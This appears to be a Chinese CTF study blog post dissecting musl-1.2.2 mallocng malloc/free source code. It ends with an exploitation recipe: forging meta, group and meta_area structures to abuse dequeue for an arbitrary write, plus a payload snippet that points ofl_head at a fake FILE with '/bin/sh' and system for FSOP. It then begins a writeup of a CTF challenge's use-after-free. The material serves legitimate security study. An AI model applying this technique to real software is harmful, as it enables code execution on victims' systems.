Musl heap 浅析

浅浅分析一下

前言

环境:x64 musl-1.2.2

笔者只浅浅分析了 malloc 和 free 的源码,对相关结构没有详细介绍,可配合 xf1les 师傅的文章食用

相关结构

chunk

实际上源码并没有 chunk 结构体定义,下面是通过 malloc 推测出来

1
2
3
4
5
6
7
struct chunk {
char prev_data[4];
uint8_t idx:5; // group 的第几个 chunk,从 0 开始
uint8_t reserved:3; // chunk 没有用到的空间大小,若 reserved = 5,那么会在下一个 chunk 的 prev_data 中记录真实的 reserved
uint16_t offset; // 相对于第一个 chunk 的偏移,实际地址偏移为 offset * 0x10
char data[]; // 用户数据
};
  • prev_data
    • 空间复用,前一个 chunk 可以多使用 4 个字节
  • idx
    • group 的第几个 chunk,从 0 开始
  • reserved
    • chunk 没有用到的空间大小
    • 若 reserved == 5,那么会在下一个 chunk 的 prev_data 中记录真实的 reserved
  • offset
    • 相对于第一个 chunk 的偏移,实际地址偏移为 offset * 0x10

由于内存对齐,每个 chunk 可以使用下一个 chunk 的 4 字节空间

(每个 group 的第一个 chunk 前面有 0x10 个字节 = group + chunk_header)

inuse_chunk

avail_mask 和 freed_mask 对应的位置都为 0

unuse_chunk

  • avail_chunk

    • 内容一般为空
    • avail_mask 上 idx 对应的位置为 1
  • freed_chunk

    • idx 和 reserved 置为 0xff,offset 置零
    • freed_mask 上 idx 对应的位置为 1

group

./src/malloc/mallocng/meta.h
1
2
3
4
5
6
7
#define UNIT 16
struct group {
struct meta *meta; // 对应的 meta 地址
unsigned char active_idx:5; // last_chunk_idx
char pad[UNIT - sizeof(struct meta *) - 1]; // alien
unsigned char storage[]; // chunks
};

由 meta 管理,位于可执行文件的数据段

  • meta
    • 对应的 meta 地址
  • active_idx
    • 可用的 chunk 的最大 idx
  • pad
    • 填充位,用于对齐
  • storage
    • 存储数据,chunks

meta

./src/malloc/mallocng/meta.h
1
2
3
4
5
6
7
8
9
struct meta {
struct meta *prev, *next; // 同类型且可分配 chunk 的 meta 或 freed_meta 以双向链表的形式连接
struct group *mem; // 指向对应的 group 地址
volatile int avail_mask, freed_mask; // 以位图方式表示 group 中 chunk 状态
uintptr_t last_idx:5; // group 中 chunk 数量
uintptr_t freeable:1; // meta 是否可以被回收,1 表示可以
uintptr_t sizeclass:6; // 作为 size_classes 的下标,为该 group 中每个 chunk 大小(Byte)
uintptr_t maplen:8*sizeof(uintptr_t)-12;
};
  • prevnext
    • 同类型且可分配 chunk 的 meta 或 freed_meta 以双向链表的形式连接
  • mem
    • 指向对应的 group 地址
  • avail_maskfreed_mask
    • 以位图方式表示 group 中 chunk 状态,因此一个 group 最多能有 32 个 chunk
    • 0 表示 inuse,1 表示 avail 或 freed
    • chunk 分为 inuse_chunk、avail_chunk、freed_chunk 三个状态
  • last_idx
    • group 中 chunk 数量
  • freeable
    • meta 是否可以被回收,1 表示可以
  • sizeclass
    • 作为 size_classes 的下标,为该 group 中每个 chunk 大小(Byte)
./src/malloc/mallocng/malloc.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14

const uint16_t size_classes[] = {
1, 2, 3, 4, 5, 6, 7, 8,
9, 10, 12, 15,
18, 20, 25, 31,
36, 42, 50, 63,
72, 84, 102, 127,
146, 170, 204, 255,
292, 340, 409, 511,
584, 682, 818, 1023,
1169, 1364, 1637, 2047,
2340, 2730, 3276, 4095,
4680, 5460, 6552, 8191,
};
  • maplen
    • 若 group 是 mmap 分配的空间,为对应的长度,其他情况为 0

avail_meta

在 meta_area 中按顺序取出,avail_meta = {0}

freed_meta

  • FIFO,malloc_context 中 freed_meta_head 指向第一个 freed_meta
  • meta->mem->meta = 0
  • freed_meta = {0}

meta_area

./src/malloc/mallocng/meta.h
1
2
3
4
5
6
struct meta_area {
uint64_t check; // 与 malloc_context 中的 secret 相等,防止伪造 meta
struct meta_area *next; // 下一个 meta_area 的地址
int nslots; // meta 槽的数量
struct meta slots[]; // metas
};

以页为单位分配,是多个 meta 的集合,因此 meta_area_addr = meta_addr & 0xfffffffffffff000

  • check
    • 与 malloc_context 中的 secret 相等,防止伪造 meta
  • next
    • 下一个 meta_area 的地址
  • nslots
    • meta 槽的数量
    • 注:在 musl 中 slot 可能指 meta 也可能指 chunk
  • slots
    • 存放多个 meta 结构体,metas

malloc_context

./src/malloc/mallocng/meta.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
struct malloc_context {
uint64_t secret; // 防止伪造 meta
#ifndef PAGESIZE
size_t pagesize;
#endif
int init_done; // 是否初始化的标记
unsigned mmap_counter; // 记录 mmap 出来的 chunk 的数量
struct meta *free_meta_head; // 指向 freed_meta 头
struct meta *avail_meta; // 指向 area_areas 中可分配 meta 空间
size_t avail_meta_count, avail_meta_area_count, meta_alloc_shift;
struct meta_area *meta_area_head, *meta_area_tail; // 分别指向第一个和最后一个 meta_area
unsigned char *avail_meta_areas;
struct meta *active[48]; // 可以分配的 meta 地址,idx 对应着 size_classes 的大小,类似 glibc 的 bins
size_t usage_by_class[48]; // idx 对应大小的所有 meta 的 chunk 数量
uint8_t unmap_seq[32], bounces[32];
uint8_t seq;
uintptr_t brk; // 记录目前的 brk(0)
};

位于 libc 的数据段,为全局结构体

  • secret
    • 防止伪造 meta
  • free_meta_head
    • 指向 freed_meta 头
  • avail_meta
    • 指向可用 meta 数组
  • active
    • 指向一个 meta 双向链表,其中的 meta 一般都有 unuse_chunk
    • idx 对应着 size_classes 的大小,类似 glibc 的 bins
    • 指向的第一个 meta 一般有 avail_chunk,后面的 meta 一般只有 freed_chunk
  • usage_by_class
    • idx 对应大小的所有 meta 的 group 管理的 chunk 数量
  • brk
    • 记录目前的 brk(0)

chunk -> meta

./src/malloc/mallocng/meta.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
static inline struct meta *get_meta(const unsigned char *p)
{
assert(!((uintptr_t)p & 15));
int offset = *(const uint16_t *)(p - 2);
int index = get_slot_index(p);
if (p[-4]) {
assert(!offset);
offset = *(uint32_t *)(p - 8);
assert(offset > 0xffff);
}
const struct group *base = (const void *)(p - UNIT*offset - UNIT);
const struct meta *meta = base->meta;

/* check */
assert(meta->mem == base);
assert(index <= meta->last_idx);
assert(!(meta->avail_mask & (1u<<index)));
assert(!(meta->freed_mask & (1u<<index)));
const struct meta_area *area = (void *)((uintptr_t)meta & -4096);
assert(area->check == ctx.secret);
if (meta->sizeclass < 48) {
assert(offset >= size_classes[meta->sizeclass]*index);
assert(offset < size_classes[meta->sizeclass]*(index+1));
} else {
assert(meta->sizeclass == 63);
}
if (meta->maplen) {
assert(offset <= meta->maplen*4096UL/UNIT - 1);
}
/* end */
return (struct meta *)meta;
}
  1. 取 chunk 的 idx 和 offset
  2. 通过 offset 取 group
  3. 通过 group->meta 取 meta
  4. 各种检查
    • meta->mem == group
    • idx <= meta->last_idx
    • meta 的 mask 上 idx 对应的位置是否都为 0
    • meta_area->check == malloc_context.secret
    • size_classes[meta->sizeclass]*(index) <= offset < size_classes[meta->sizeclass]*(index+1)

大概总结一下

  • malloc_context 作为全局变量,在 libc 数据段
  • meta_area 作为 meta 的集合,管理着 meta
  • 同类型有可分配 chunk 的 meta 以双向链表形式连接起来,如果 meta 的 chunk 全部分配出去,则会从双向链表中移出
  • malloc 时,通过 malloc_context 的 active 寻找对应大小的可使用的 meta,类似 glibc 的 bins
    • malloc_context 的 active 指向的第一个 meta 一般是有 avail_chunk 或者 freed_chunk(或所有 chunk 刚好分配完),此 meta 后面的 meta 一般只有 freed_chunk
    • malloc_context 的 freed_meta_head 指向 freed_meta 链表

Musl heap structure

malloc

malloc

./src/malloc/mallocng/malloc.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
void *malloc(size_t n)
{
if (size_overflows(n)) return 0;
struct meta *g;
uint32_t mask, first;
// sizeclass
int sc;
int idx;
int ctr;

// mmap 分配
// #define MMAP_THRESHOLD 131052
if (n >= MMAP_THRESHOLD) {
size_t needed = n + IB + UNIT;
void *p = mmap(0, needed, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANON, -1, 0);
if (p==MAP_FAILED) return 0;
wrlock();
step_seq();
g = alloc_meta();
if (!g) {
unlock();
munmap(p, needed);
return 0;
}
g->mem = p;
g->mem->meta = g;
g->last_idx = 0;
g->freeable = 1;
g->sizeclass = 63;
g->maplen = (needed+4095)/4096;
g->avail_mask = g->freed_mask = 0;
// use a global counter to cycle offset in
// individually-mmapped allocations.
ctx.mmap_counter++;
idx = 0;
goto success;
}

// 根据 n 取 size_classes 对应大小的下标
sc = size_to_class(n);

rdlock();

/* 寻找合适的 meta */

// 获取对应大小的 meta
g = ctx.active[sc];

// use coarse size classes initially when there are not yet
// any groups of desired size. this allows counts of 2 or 3
// to be allocated at first rather than having to start with
// 7 or 5, the min counts for even size classes.


// 如果没有对应的 meta,且 4 <= sc < 32 且 sc !=6 且 sc 为偶数 且对应大小的所有 chunk 数量为 0
if (!g && sc>=4 && sc<32 && sc!=6 && !(sc&1) && !ctx.usage_by_class[sc]) {
// 使用更大一点(sc+1)的 meta
size_t usage = ctx.usage_by_class[sc|1];
// if a new group may be allocated, count it toward
// usage in deciding if we can use coarse class.

// 如果 sc+1 对应的 meta 也不存在或存在但没有可用的 chunk 则 usage+3
if (!ctx.active[sc|1] || (!ctx.active[sc|1]->avail_mask
&& !ctx.active[sc|1]->freed_mask))
usage += 3;
// 如果 usage <= 12 则 sc+1
if (usage <= 12)
sc |= 1;
g = ctx.active[sc];
}
/* end */

/* 寻找可分配的 chunk */

for (;;) {
mask = g ? g->avail_mask : 0;
// 取最低位的 1,即取可用的 idx 最小的 chunk,没有则为 0
first = mask&-mask;
// 若无可用 chunk,则跳出循环
if (!first) break;
// 若没有其他问题,则在 avail_mask 中将对应 chunk 的那一 bit 位置零
if (RDLOCK_IS_EXCLUSIVE || !MT)
g->avail_mask = mask-first;
else if (a_cas(&g->avail_mask, mask, mask-first)!=mask)
continue;

// 计算出对应的 chunk idx
idx = a_ctz_32(first);
goto success;
}
upgradelock();

// 如果没有合适的 chunk,则进一步分配,获取 chunk 下标
idx = alloc_slot(sc, n);
if (idx < 0) {
unlock();
return 0;
}
// 更新为即将使用的 meta
g = ctx.active[sc];
/* end */

success:
ctr = ctx.mmap_counter;
unlock();
return enframe(g, idx, n, ctr);
}
  1. 将 size 转化为对应的 size_classes 的下标 sc
  2. 取 ctx.active[sc] 第一个 meta,取其 avail_mask 中 idx 最小的 chunk
  3. 如果没有则进入 alloc_slot 做进一步分配

alloc_slot

./src/malloc/mallocng/malloc.c
1
2
3
4
5
6
7
8
9
10
11
12
13
static int alloc_slot(int sc, size_t req)
{
uint32_t first = try_avail(&ctx.active[sc]);
if (first) return a_ctz_32(first);

// 如果链表中都没有可用的 chunk,则重新申请一个 group
struct meta *g = alloc_group(sc, req);
if (!g) return -1;

g->avail_mask--;
queue(&ctx.active[sc], g);
return 0;
}
  1. 进入 try_avail 尝试从 ctx.active[sc] 对应的 meta 链表中寻找可分配的 chunk
  2. 没有则进入 alloc_group 再申请一个 meta 和 group

try_avail

./src/malloc/mallocng/malloc.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
static uint32_t try_avail(struct meta **pm)
{
struct meta *m = *pm;
uint32_t first;
if (!m) return 0;
uint32_t mask = m->avail_mask;
// 若没有可分配的 chunk
if (!mask) {
if (!m) return 0;
if (!m->freed_mask) {
/* 且也没有 freed chunk,即 group 中的 chunk 都是 inuse
则将该 meta 从 ctx.active[sc] 和 双向链表中移除 */
dequeue(pm, m);
m = *pm;
if (!m) return 0;
} else {
// 优先使用下一个 meta 的 freed_chunk
m = m->next;
*pm = m;
}

mask = m->freed_mask;

// skip fully-free group unless it's the only one
// or it's a permanently non-freeable group

// 跳过所有 chunk 都是 freed_chunk 且可 free 的 meta,一般不会出现这个情况
if (mask == (2u<<m->last_idx)-1 && m->freeable) {
m = m->next;
*pm = m;
mask = m->freed_mask;
}

// activate more slots in a not-fully-active group
// if needed, but only as a last resort. prefer using
// any other group with free slots. this avoids
// touching & dirtying as-yet-unused pages.

/* 总结起来就是,如果第一个 meta 的 chunk 都是 inuse,
且第二个 meta 的 freed_chunk 使用完了,才进入下面的操作
可能是什么特殊情况,正常不会出现这个情况*/
if (!(mask & ((2u<<m->mem->active_idx)-1))) {
if (m->next != m) {
m = m->next;
*pm = m;
} else {
int cnt = m->mem->active_idx + 2;
int size = size_classes[m->sizeclass]*UNIT;
int span = UNIT + size*cnt;
// activate up to next 4k boundary
while ((span^(span+size-1)) < 4096) {
cnt++;
span += size;
}
if (cnt > m->last_idx+1)
cnt = m->last_idx+1;
m->mem->active_idx = cnt-1;
}
}

// 将 freed_mask 转为 avail_mask
mask = activate_group(m);
assert(mask);
decay_bounces(m->sizeclass);
}
first = mask&-mask;
m->avail_mask = mask-first;
return first;
}
  1. 若 active 第一个 meta 的 chunk 都是 inuse,则将此 meta 从 active 和 链表中移出
  2. 将 active 第一个 meta 设置为下一个 meta
  3. 将其 freed_mask 转为 avail_mask 使用
  4. 取 avail_mask 中 idx 最小的 chunk

queue

./src/malloc/mallocng/meta.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
static inline void queue(struct meta **phead, struct meta *m)
{
assert(!m->next);
assert(!m->prev);
if (*phead) {
struct meta *head = *phead;
m->next = head;
m->prev = head->prev;
m->next->prev = m->prev->next = m;
} else {
m->prev = m->next = m;
*phead = m;
}
}

dequeue

./src/malloc/mallocng/meta.h
1
2
3
4
5
6
7
8
9
10
11
static inline void dequeue(struct meta **phead, struct meta *m)
{
if (m->next != m) {
m->prev->next = m->next;
m->next->prev = m->prev;
if (*phead == m) *phead = m->next;
} else {
*phead = 0;
}
m->prev = m->next = 0;
}

如果能够伪造 meta,可以任意地址写

alloc_group

./src/malloc/mallocng/malloc.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
static struct meta *alloc_group(int sc, size_t req)
{
size_t size = UNIT*size_classes[sc];
int i = 0, cnt;
unsigned char *p;
// 优先寻找 freed_meta,将其从 ctx.free_meta_head 移除
// 若没有就从 meta_area 中按地址从低到高顺序取一个
// 如果 meta_area 满了,则再申请一个 meta_area
// 会将 meta 的 prev,next 置零
struct meta *m = alloc_meta();
if (!m) return 0;
size_t usage = ctx.usage_by_class[sc];
size_t pagesize = PGSZ;
int active_idx;

/* 设置 cnt,也就是 group 能容纳 chunk 最大数量 */
if (sc < 9) {
while (i<2 && 4*small_cnt_tab[sc][i] > usage)
i++;
cnt = small_cnt_tab[sc][i];
} else {
// lookup max number of slots fitting in power-of-two size
// from a table, along with number of factors of two we
// can divide out without a remainder or reaching 1.
cnt = med_cnt_tab[sc&3];

// reduce cnt to avoid excessive eagar allocation.
while (!(cnt&1) && 4*cnt > usage)
cnt >>= 1;

// data structures don't support groups whose slot offsets
// in units don't fit in 16 bits.
while (size*cnt >= 65536*UNIT)
cnt >>= 1;
}
/* end */

// If we selected a count of 1 above but it's not sufficient to use
// mmap, increase to 2. Then it might be; if not it will nest.
if (cnt==1 && size*cnt+UNIT <= pagesize/2) cnt = 2;

// All choices of size*cnt are "just below" a power of two, so anything
// larger than half the page size should be allocated as whole pages.
if (size*cnt+UNIT > pagesize/2) {
// check/update bounce counter to start/increase retention
// of freed maps, and inhibit use of low-count, odd-size
// small mappings and single-slot groups if activated.
int nosmall = is_bouncing(sc);
account_bounce(sc);
step_seq();

// since the following count reduction opportunities have
// an absolute memory usage cost, don't overdo them. count
// coarse usage as part of usage.
if (!(sc&1) && sc<32) usage += ctx.usage_by_class[sc+1];

// try to drop to a lower count if the one found above
// increases usage by more than 25%. these reduced counts
// roughly fill an integral number of pages, just not a
// power of two, limiting amount of unusable space.
if (4*cnt > usage && !nosmall) {
if (0);
else if ((sc&3)==1 && size*cnt>8*pagesize) cnt = 2;
else if ((sc&3)==2 && size*cnt>4*pagesize) cnt = 3;
else if ((sc&3)==0 && size*cnt>8*pagesize) cnt = 3;
else if ((sc&3)==0 && size*cnt>2*pagesize) cnt = 5;
}
size_t needed = size*cnt + UNIT;
needed += -needed & (pagesize-1);

// produce an individually-mmapped allocation if usage is low,
// bounce counter hasn't triggered, and either it saves memory
// or it avoids eagar slot allocation without wasting too much.
if (!nosmall && cnt<=7) {
req += IB + UNIT;
req += -req & (pagesize-1);
if (req<size+UNIT || (req>=4*pagesize && 2*cnt>usage)) {
cnt = 1;
needed = req;
}
}

p = mmap(0, needed, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, -1, 0);
if (p==MAP_FAILED) {
free_meta(m);
return 0;
}
m->maplen = needed>>12;
ctx.mmap_counter++;
active_idx = (4096-UNIT)/size-1;
if (active_idx > cnt-1) active_idx = cnt-1;
if (active_idx < 0) active_idx = 0;
} else {
int j = size_to_class(UNIT+cnt*size-IB);
// 从大 group 中申请小 group,大 group 的 chunk 作为整个小 group,是一个递归过程
int idx = alloc_slot(j, UNIT+cnt*size-IB);
if (idx < 0) {
free_meta(m);
return 0;
}
struct meta *g = ctx.active[j];
p = enframe(g, idx, UNIT*size_classes[j]-IB, ctx.mmap_counter);
m->maplen = 0;
p[-3] = (p[-3]&31) | (6<<5);
for (int i=0; i<=cnt; i++)
p[UNIT+i*size-4] = 0;
active_idx = cnt-1;
}

// 增加可用 chunk 个数
ctx.usage_by_class[sc] += cnt;
// 初始化 meta 和 group
m->avail_mask = (2u<<active_idx)-1;
m->freed_mask = (2u<<(cnt-1))-1 - m->avail_mask;
m->mem = (void *)p;
m->mem->meta = m;
// group 的 active_idx 和 meta 的 last_idx 一般是相等的,为 cnt-1
m->mem->active_idx = active_idx;
m->last_idx = cnt-1;
m->freeable = 1;
m->sizeclass = sc;
return m;
}

emframe

./src/malloc/mallocng/meta.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
static inline void *enframe(struct meta *g, int idx, size_t n, int ctr)
{
// 获取 chunk 大小
size_t stride = get_stride(g);
// 计算 chunk 多余空间
size_t slack = (stride-IB-n)/UNIT;
// p 指向 chunk 的 data 起始位置
unsigned char *p = g->mem->storage + stride*idx;
unsigned char *end = p+stride-IB;

// cycle offset within slot to increase interval to address
// reuse, facilitate trapping double-free.

/* check */
// p[-3] = chunk_idx
// *(uint16_t *)(p-2) = chunk_offset
// 取 chunk 的 offset,一般为 0
int off = (p[-3] ? *(uint16_t *)(p-2) + 1 : ctr) & 255;
assert(!p[-4]);
if (off > slack) {
size_t m = slack;
m |= m>>1; m |= m>>2; m |= m>>4;
off &= m;
if (off > slack) off -= slack+1;
assert(off <= slack);
}
if (off) {
// store offset in unused header at offset zero
// if enframing at non-zero offset.
*(uint16_t *)(p-2) = off;
p[-3] = 7<<5;
p += UNIT*off;
// for nonzero offset there is no permanent check
// byte, so make one.
p[-4] = 0;
}
/* end */

// 设置 offset 和 idx
*(uint16_t *)(p-2) = (size_t)(p-g->mem->storage)/UNIT;
p[-3] = idx;
// 设置 reserved
set_size(p, end, n);
return p;
}

总结一下

以下为一般情况的流程,省略了特殊情况

  1. 检查申请的 size
    • 如果 size 达到需要 mmap 的阈值
      1. 直接调用 mmap,返回的地址作为 group
      2. 获取并初始化 meta
        • last_idx = 0,只有一个 chunk,因此它不会再 ctx.active 中
        • sizeclass = 63
        • maplen = (size + 4 + 0x10 + 4095) / 4096
        • avail_mask = freed_mask = 0
        • ctx.mmap_counter++
      3. 进入 success
    • 没有则调用 size_to_class 将 size 计算为对应的 sc(sizeclass)
  2. 获取对应的 meta
    1. 取 sc 对应大小的可分配的 meta(ctx.active[sc])
    2. 若不存在满足下列所有条件会取稍大一点的 meta
      • 4<= sc <32
      • sc != 6
      • sc 为偶数
      • 对应大小的所有 chunk 数量为 0(没有对应大小的 meta)
  3. 获取 chunk 的 idx
    1. 取 meta 的第一个 avail_chunk
      • 若 avail_chunk 存在
        1. 将 avail_mask 上对应的位置置零
        2. 进入 success
    2. 进入 alloc_slot 进行进一步申请
      1. 调用 try_avail 尝试 ctx.active[sc] 链表中的所有 meta
        1. 检查第一个 meta 的 freed_mask
          • 若 freed_mask 为 0,会调用 **dequeue**,将其移除 ctx.active[sc]
          • 因为第一个 meta 没有 unuse_chunk
        2. 将下一个 meta 切换为第一个 meta(ctx.active[sc] = m->next)
        3. 将 meta 的 freed_mask 转为 avail_mask
        4. 取 meta 的第一个 avail_chunk,将 avail_mask 上对应的位置置零
        5. 返回第一个 avail_chunk 对应的 avail_mask 位置
        6. :下一个 meta 可能是它自己(循环),如果没有 unused_mask,最终会返回 0
      2. 如果 try_avail 返回 0,会调用 alloc_group 申请一个新的 group
        1. 先调用 alloc_meta 申请一个 meta,优先取 freed_meta 再从 meta_area 中取新的
        2. 新的 group 一般取更大的 chunk 作为整个 group,是一个递归过程
        3. meta 的 avail_mask 减一,即使用第一个 chunk
        4. 调用 queue 将 meta 放入 ctx.active[sc]
  4. 进入 success
    • 调用 enframe 对 chunk 初始化
    • (unsigned char*) p[-3] = idx
    • *(uint16_t) (p - 2) = offset
    • 设置 reserved

总结简单版

分配 chunk 顺序

  1. ctx.active[sc] -> avail_mask
    • malloc_context.active 对应大小的 meta 中的 avail_chunk
  2. ctx.active[sc] -> next -> freed_mask
    • malloc_context.active 对应大小的 meta 的 下一个 meta 中的 freed_chunk
    • 如果 ctx.active[sc] 的 chunk 都是 inuse,则会调用 **dequeue**,将其移出 active 和链表
    • 先把 freed_mask 转为 avail_mask,然后将 ctx.active[sc] 设为该 meta
  3. ctx.active[sc] -> freed_mask
    • malloc_context.active 对应大小的 meta 中的 freed_chunk
  4. new_meta -> avail_mask
    • 申请一个新的 meta,取其 avail_chunk

free

free

./src/malloc/mallocng/free.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
void free(void *p)
{
if (!p) return;

struct meta *g = get_meta(p);
int idx = get_slot_index(p);
size_t stride = get_stride(g);
unsigned char *start = g->mem->storage + stride*idx;
unsigned char *end = start + stride - IB;
// 检查 reserved
get_nominal_size(p, end);
uint32_t self = 1u<<idx, all = (2u<<g->last_idx)-1;
// idx 和 reserved 置 0xff,offset 置 0
((unsigned char *)p)[-3] = 255;
// invalidate offset to group header, and cycle offset of
// used region within slot if current offset is zero.
*(uint16_t *)((char *)p-2) = 0;

// release any whole pages contained in the slot to be freed
// unless it's a single-slot group that will be unmapped.
if (((uintptr_t)(start-1) ^ (uintptr_t)end) >= 2*PGSZ && g->last_idx) {
unsigned char *base = start + (-(uintptr_t)start & (PGSZ-1));
size_t len = (end-base) & -PGSZ;
if (len) madvise(base, len, MADV_FREE);
}

// atomic free without locking if this is neither first or last slot
for (;;) {
uint32_t freed = g->freed_mask;
uint32_t avail = g->avail_mask;
uint32_t mask = freed | avail;
assert(!(mask&self));
// 如果没有 freed_chunk 或者都是 unuse_chunk,则跳出循环
if (!freed || mask+self==all) break;
if (!MT)
g->freed_mask = freed+self;
else if (a_cas(&g->freed_mask, freed, freed+self)!=freed)
continue;
return;
}

wrlock();
struct mapinfo mi = nontrivial_free(g, idx);
unlock();
if (mi.len) munmap(mi.base, mi.len);
}

如果其他 chunk 都不是 freed_chunk 或者都是 unuse_chunk 则会 进入 nontrivial_free

nontrivial_free

./src/malloc/mallocng/free.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
static struct mapinfo nontrivial_free(struct meta *g, int i)
{
uint32_t self = 1u<<i;
int sc = g->sizeclass;
uint32_t mask = g->freed_mask | g->avail_mask;

// 一般情况,只要所有 chunk 都是 unuse,就会 free meta 和 group
if (mask+self == (2u<<g->last_idx)-1 && okay_to_free(g)) {
// any multi-slot group is necessarily on an active list
// here, but single-slot groups might or might not be.
if (g->next) {
assert(sc < 48);
int activate_new = (ctx.active[sc]==g);
dequeue(&ctx.active[sc], g);
// 将下一个 meta 的 freed_chunk 转为 avail_chunk
if (activate_new && ctx.active[sc])
activate_group(ctx.active[sc]);
}
return free_group(g);
} else if (!mask) {
// 如果 meta 不在 active 里,则放入 actvie 中
assert(sc < 48);
// might still be active if there were no allocations
// after last available slot was taken.
if (ctx.active[sc] != g) {
queue(&ctx.active[sc], g);
}
}
// g->freed_mask = g->free_mask & self
a_or(&g->freed_mask, self);
return (struct mapinfo){ 0 };
}
  • 所有 chunk 都是 unuse_chunk
    1. 将该 meta 从 active 和链表中移除
    2. 将链表的下一个 meta 的 freed_chunk 转为 avail_chunk
    3. free 该 meta 和 group
  • 没有 freed_chunk
    1. 将该 meta 插入 active 的链表尾部

free_group

./src/malloc/mallocng/free.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
static struct mapinfo free_group(struct meta *g)
{
struct mapinfo mi = { 0 };
int sc = g->sizeclass;
if (sc < 48) {
ctx.usage_by_class[sc] -= g->last_idx+1;
}
if (g->maplen) {
step_seq();
record_seq(sc);
mi.base = g->mem;
mi.len = g->maplen*4096UL;
} else {
void *p = g->mem;
struct meta *m = get_meta(p);
int idx = get_slot_index(p);
g->mem->meta = 0;
// not checking size/reserved here; it's intentionally invalid
mi = nontrivial_free(m, idx);
}
free_meta(g);
return mi;
}

总结一下

  1. 获取 chunk 的 meta、idx、sc
  2. 检查 reserved
  3. idx 和 reserved 置为 0xff,offset 置零
  4. 检查 avail_mask 和 freed_mask
    • 若存在 freed_chunk 且有其他的 inuse_chunk
      • 将 freed_mask 上该 chunk 对应的位置设为 1
      • 结束 free 函数
    • 否则进入下一步
  5. 调用 nontrivial_free 函数做进一步处理
    1. 如果所有 chunk 都是 unuse_chunk
      • 如果 meta 的 next 存在,调用 dequeue 将 meta 从 ctx.active[sc] 中移出
      • free 掉 meta 和 group
      • 结束 free 函数
    2. 如果其他 chunk 都是 inuse_chunk 且 meta 不在 ctx.artive[sc] 中
      • 调用 queue 将 meta 放入 ctx.active[sc]
    3. 将 freed_mask 上该 chunk 对应的位置设为 1

关键

dequeue

./src/malloc/mallocng/meta.h
1
2
3
4
5
6
7
8
9
10
11
static inline void dequeue(struct meta **phead, struct meta *m)
{
if (m->next != m) {
m->prev->next = m->next;
m->next->prev = m->prev;
if (*phead == m) *phead = m->next;
} else {
*phead = 0;
}
m->prev = m->next = 0;
}

几乎没有任何检查,如果能够伪造 meta,可以任意地址写

调用途径

  • malloc -> try_avail -> dequeue
  • free -> nontrivial_free -> dequeue

利用

  1. 泄露一些重要信息
    • 大部分都可以从 malloc_context 中获取
    • libc 基址
    • secret
  2. 伪造 meta_area、area、group、chunk
    • 下面是一些伪造的硬性要求或者建议
    • meta_area
      • 因为 get_meta 时会检查 secret 防止伪造,而检查时取 meta_area 地址是取 area 所在页的地址,因此伪造的 meta_area 地址后 12 位都要为 0,一般通过 mmap 伪造
      • check == malloc_context.secret
    • area
      • prev,next 改成想写的位置
      • mem == fake_group
      • last_idx == 0,一般只需要伪造一个 chunk,这样 free fake_chunk 时直接能进入 nontrivial_free
      • avail_mask,freed_mask 全为 0 即可(因为只有一个将要 free 的 fake_chunk)
      • sc < 48
      • freeable == 1
      • maplen != 0,否则在 free_group 会进行递归 free,随便取个值就行
    • group
      • meta == fake_meta
      • active_idx == 0
    • chunk
      • 一般是 fake_fike 或者其他垃圾数据

下面的例子是将 ofl_head 指向 fake_chunk(fake_file),exit 时就可以导致 FSOP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
last_idx = 0
freeable = 1
sc = 8
maplen = 1
fake_meta = p64(addr_fake_chunk) # prev
fake_meta += p64(addr_ofl_head) # next
fake_meta += p64(addr_fake_group) # mem
fake_meta += p64(0) # avail & freed mask
fake_meta += p64(maplen << 12 | sc << 6 | freeable << 5 | last_idx)

active_idx = 0
fake_group = p64(addr_fake_meta)
fake_group += p64(active_idx)

# fake_file
fake_chunk = b"/bin/sh\x00"
fake_chunk += p64(0) * 7
fake_chunk += p64(addr_system) * 7

fake_meta_area = p64(secret) # check
fake_meta_area += p64(0) # next
fake_meta_area += p64(1) # nsolts

2022 qwb UserManager

这里只要会堆风水就行,不需要伪造就可以任意地址写一次

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
void __fastcall insert(User *newUser, User *users)
{
while ( users )
{
// UAF
if ( newUser->id == users->id )
{
newUser->flag = users->flag;
newUser->leftUser = users->leftUser;
newUser->rightUser = users->rightUser;
newUser->parentUser = users->parentUser;
if ( users->leftUser )
users->leftUser->parentUser = newUser;
if ( users->rightUser )
